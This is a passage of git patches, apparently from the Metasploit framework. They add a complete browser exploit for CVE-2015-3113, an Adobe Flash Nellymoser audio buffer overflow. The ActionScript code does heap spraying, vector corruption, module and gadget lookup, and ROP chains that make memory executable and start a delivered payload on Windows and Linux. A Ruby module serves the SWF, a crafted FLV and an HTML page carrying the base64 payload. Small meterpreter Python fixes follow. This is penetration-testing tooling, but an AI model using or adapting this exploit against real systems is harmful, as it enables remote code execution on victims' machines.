LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + addChild(video) + var nc:NetConnection = new NetConnection() + nc.addEventListener(NetStatusEvent.NET_STATUS , onConnect) + nc.addEventListener(AsyncErrorEvent.ASYNC_ERROR , trace) + var metaSniffer:Object=new Object() + metaSniffer.onMetaData=getMeta + nc.connect(null) + var ns:NetStream = new NetStream(nc) + ns.client = metaSniffer + video.attachNetStream(ns) + vecVectors = new Vector.<Object>(0x1000) + for ( var i:uint = 0; i < vecVectors.length; ++ i ) { + vecVectors[i] = new Vector.<uint>((0x2000 - 8) / 4); + vecVectors[i][0] = 0xdeedbeef; + } + + for ( i = 0; i < vecVectors.length; i += 2 ) { + vecVectors[i] = null; + } + + ns.addEventListener(NetStatusEvent.NET_STATUS, statusChanged) + ns.play("poc2.flv") + } + + private function go():void { + var bigVector:Vector.<uint> = null; + for ( var i:uint = 0; i < vecVectors.length; i++ ) { + if (vecVectors[i] == null) continue + if ( vecVectors[i].length > (0x2000 - 8) / 4 ) { + bigVector = vecVectors[i] as Vector.<uint> + } + } + + if ( null == bigVector ) { + return; + } + + for ( i = 0; i < 0x2000; i++ ) { + if (bigVector[i] == 0x7fe && bigVector[i + 2] == 0xdeedbeef) { + bigVector[0x3fffffff] = bigVector[i + 1] + break + } + } + + for ( i = 0; i < vecVectors.length; i++ ) { + if (vecVectors[i] == null) continue + if (vecVectors[i].length != 0x7fe) { + delete(vecVectors[i]) + vecVectors[i] = null + } + } + + exploiter = new Exploiter(this, platform, os, payload, bigVector, 0x7fe) + } + + private function statusChanged(stats:NetStatusEvent):void { + if (stats.info.code == 'NetStream.Play.Stop') { + WaitTimer(1000) + go() + } + } + + private function getMeta (mdata:Object):void { + video.width=mdata.width/2 + video.height=mdata.height/2 + } + + private function onConnect(e:NetStatusEvent):void { + return + } + + private function WaitTimer(time:int):void{ + var current:int = getTimer() + while (true) { + if ((getTimer() - current) >= time) break + } + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/ExploitByteArray.as b/external/source/exploits/CVE-2015-3113/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/ExploitVector.as b/external/source/exploits/CVE-2015-3113/ExploitVector.as new file mode 100644 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector.<uint> + public var original_length:uint + + public function ExploitVector(v:Vector.<uint>, length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.<Object>[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/Exploiter.as b/external/source/exploits/CVE-2015-3113/Exploiter.as new file mode 100644 index 0000000000..ecbf56fac5 --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector.<uint> = new Vector.<uint>(0x6400) + private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400) + private var spray:Vector.<Object> = new Vector.<Object>(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/Logger.as b/external/source/exploits/CVE-2015-3113/Logger.as new file mode 100755 index 0000000000..3f3ddd9785 --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str) + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str) + } + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/PE.as b/external/source/exploits/CVE-2015-3113/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb new file mode 100644 index 0000000000..9c7d34a4c5 --- /dev/null +++ b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb @@ -0,0 +1,185 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow happening when handling nellymoser encoded audio + inside a FLV video, as exploited in the wild on June 2015. This module has been tested + successfully on: + + Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160, + Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160, + Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160, and + Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Exploit in the wild + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2015-3113'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-14.html'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/'], + ['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html'], + ['URL', 'http://bobao.360.cn/learning/detail/357.html'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => ['win', 'linux'], + 'Arch' => [ARCH_X86], + 'BrowserRequirements' => + { + :source => /script|headers/i, + :arch => ARCH_X86, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::LINUX || + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 + end, + :ua_name => lambda do |ua| + case target.name + when 'Windows' + return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF + when 'Linux' + return true if ua == Msf::HttpClients::FF + end + + false + end, + :flash => lambda do |ver| + case target.name + when 'Windows' + return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.161') + when 'Linux' + return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.466') + end + + false + end + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win' + } + ], + [ 'Linux', + { + 'Platform' => 'linux' + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jun 23 2015', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + @flv = create_flv + + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + if request.uri =~ /\.flv$/ + print_status('Sending FLV...') + send_response(cli, @flv, {'Content-Type'=>'video/x-flv', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + target_payload = get_payload(cli, target_info) + b64_payload = Rex::Text.encode_base64(target_payload) + os_name = target_info[:os_name] + + if target.name =~ /Windows/ + platform_id = 'win' + elsif target.name =~ /Linux/ + platform_id = 'linux' + end + + html_template = %Q|<html> + <body> + <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> + <param name="movie" value="<%=swf_random%>" /> + <param name="allowScriptAccess" value="always" /> + <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> + <param name="Play" value="true" /> + <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> + </object> + </body> + </html> + | + + return html_template, binding() + end + + def create_swf + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3113', 'msf.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + + def create_flv + header = '' + header << 'FLV' # signature + header << [1].pack('C') # version + header << [4].pack('C') # Flags: TypeFlagsAudio + header << [9].pack('N') # DataOffset + + data = '' + data << "\x68" # fmt = 6 (Nellymoser), SoundRate: 2, SoundSize: 0, SoundType: 0 + data << "\xee" * 0x440 # SoundData + + tag1 = '' + tag1 << [8].pack('C') # TagType (audio) + tag1 << "\x00\x04\x41" # DataSize + tag1 << "\x00\x00\x1a" # TimeStamp + tag1 << [0].pack('C') # TimeStampExtended + tag1 << "\x00\x00\x00" # StreamID, always 0 + tag1 << data + + body = '' + body << [0].pack('N') # PreviousTagSize + body << tag1 + body << [0xeeeeeeee].pack('N') # PreviousTagSize + + flv = '' + flv << header + flv << body + + flv + end +end From ee118aa89d94ddb93654bc5d7b05bfbcbbdf9e03 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 1 Jul 2015 13:30:22 -0500 Subject: [PATCH 0615/1013] Fix description --- .../exploits/multi/browser/adobe_flash_nellymoser_bof.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb index 9c7d34a4c5..6670cf2351 100644 --- a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb +++ b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow', 'Description' => %q{ - This module exploits a buffer overflow happening when handling nellymoser encoded audio - inside a FLV video, as exploited in the wild on June 2015. This module has been tested - successfully on: + This module exploits a buffer overflow on Adobe Flash Player when handling nellymoser + encoded audio inside a FLV video, as exploited in the wild on June 2015. This module + has been tested successfully on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160, From b1b21c4bef9d51448110d84f4340fff6d20f8175 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Wed, 1 Jul 2015 14:32:12 -0400 Subject: [PATCH 0616/1013] Pymet fixes for Python 3.x --- data/meterpreter/meterpreter.py | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 9fdf586fdc..30aa8dba1b 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -48,10 +48,10 @@ if sys.version_info[0] < 3: else: if isinstance(__builtins__, dict): is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) - str = lambda x: __builtins__['str'](x, 'UTF-8') + str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',))) else: is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) - str = lambda x: __builtins__.str(x, 'UTF-8') + str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',))) is_bytes = lambda obj: issubclass(obj.__class__, bytes) NULL_BYTE = bytes('\x00', 'UTF-8') long = int @@ -286,15 +286,17 @@ def tlv_pack(*args): tlv = {'type':args[0], 'value':args[1]} else: tlv = args[0] - data = "" + data = '' + value = tlv['value'] if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: - data = struct.pack('>III', 12, tlv['type'], tlv['value']) + if isinstance(value, float): + value = int(round(value)) + data = struct.pack('>III', 12, tlv['type'], value) elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: - data = struct.pack('>IIQ', 16, tlv['type'], tlv['value']) + data = struct.pack('>IIQ', 16, tlv['type'], value) elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') + data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8') else: - value = tlv['value'] if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode': value = value.encode('UTF-8') elif not is_bytes(value): @@ -644,7 +646,6 @@ class TcpTransport(Transport): if not address in ('', '0.0.0.0', '::'): address, port = sock.getpeername()[:2] url += address + ':' + str(port) - url = url return cls(url, sock) class PythonMeterpreter(object): From 